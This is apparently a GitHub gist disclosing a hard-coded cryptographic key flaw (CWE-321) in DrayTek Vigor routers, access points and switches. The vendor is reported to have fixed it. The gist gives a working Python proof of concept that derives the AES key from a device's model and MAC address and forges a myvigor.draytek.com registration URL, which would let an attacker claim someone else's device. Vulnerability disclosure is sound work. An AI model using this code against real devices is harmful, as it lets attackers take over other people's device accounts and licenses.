Skip to content

Instantly share code, notes, and snippets.

@Ji4n1ng
Last active February 22, 2024 07:35
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Ji4n1ng/6d028709d39458f5ab95b3ea211225ef to your computer and use it in GitHub Desktop.
Save Ji4n1ng/6d028709d39458f5ab95b3ea211225ef to your computer and use it in GitHub Desktop.
DrayTek-vigor-vul-description

Hard-coded Cryptographic Key Vulnrability

Product

This vulnerability affects DrayTek's all Vigor series products, including routers, access points, and switches.

Versions

The vulnerability exists in the following firmware versions:

  • Routers: versions below 3.9.6/4.2.4.
  • Access Points: versions below v1.4.0.
  • Switches: versions below 2.6.7.
  • Myvigor: versions below 2.3.2.

Note that DrayTek has confirmed and fixed this vulnrability.

Vulnerability Type

CWE-321 - Use of Hard-coded Cryptographic Key

Vulnerability Description

We have identified a vulnerability in DrayTek's firmware that involves the use of hard-coded encryption keys. This vulnerability allows an attacker to bind any affected device, which does not belong to them, with their own account. By utilizing the MAC address of a vulnerable device, the attacker can generate an encrypted URL to register the device. Even if the attacker does not know the device's MAC address, they can easily enumerate it by brute force. Once the device is bound to the attacker's account, the device owner is unable to bind it themselves. Consequently, the attacker gains the ability to create WCF and DrayDDNS licenses and synchronize them from the website.

The attacker can construct the device registration URL using the following parameters:

  • drayreg_mac: device's MAC address.
  • drayreg_iv: initialization vector (IV) for AES encryption.
  • drayreg_sec: ciphertext used for server verification.

The construction of the registration URL is shown in the following figure. The attacker can either brute force the drayreg_mac within a specific range or use publicly exposed MAC addresses on the Internet. The drayreg_iv is randomly generated and serves as the IV for AES encryption. On the other hand, the drayreg_sec is the ciphertext used by the server for verification purposes.

2020-08-13-19-05-53.png

POC

#!/usr/bin/python3

import base64
from Crypto.Cipher import AES

class AESCipher:
    def __init__( self, key, iv ):
        self.key = key
        self.iv = iv

    def encrypt( self, raw ):
        cipher = AES.new( self.key, AES.MODE_CBC, self.iv )
        return base64.b64encode( cipher.encrypt( raw ) )

    def decrypt( self, enc ):
        enc = base64.b64decode(enc)
        cipher = AES.new(self.key, AES.MODE_CBC, self.iv )
        return cipher.decrypt( enc )

def key_gen(model, mac):
    key = model
    key_pads = ['50', '32', '12', '57', '59']
    for i in range(5):
        j = (5 - i) * 2
        k = j + 2
        key += mac[j:k] + key_pads[i]
    key += mac[0:2]
    if len(key) > 32:
        key = key[:32]
    return key

def plaintext_gen(mac, time, bits):
    plaintext = f'{mac}+{time}+http://192.168.1.1+'
    plaintext = plaintext.ljust(bits, '0')
    return plaintext

def url_gen(mac, iv, cipher):
    url = f'https://myvigor.draytek.com/login?mac={mac}&var={iv}&ticket={cipher}'
    return url

if __name__ == "__main__":
    fake_model = "vigor29120"
    fake_mac = "001daa978e60"
    fake_iv = "6d2f73b86c7f4c8e"
    fake_time = '20200812103100'

    fake_key = key_gen(fake_model, fake_mac)

    fake_aes = AESCipher(fake_key, fake_iv)

    plaintext = plaintext_gen(fake_mac, fake_time, 512)
    fake_cipher = fake_aes.encrypt(plaintext).decode('utf-8')
    print(fake_cipher)

    fake_url = url_gen(fake_mac, fake_iv, fake_cipher)
    print(fake_url)

Screenshots

2020-08-13-16-16-08.png

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment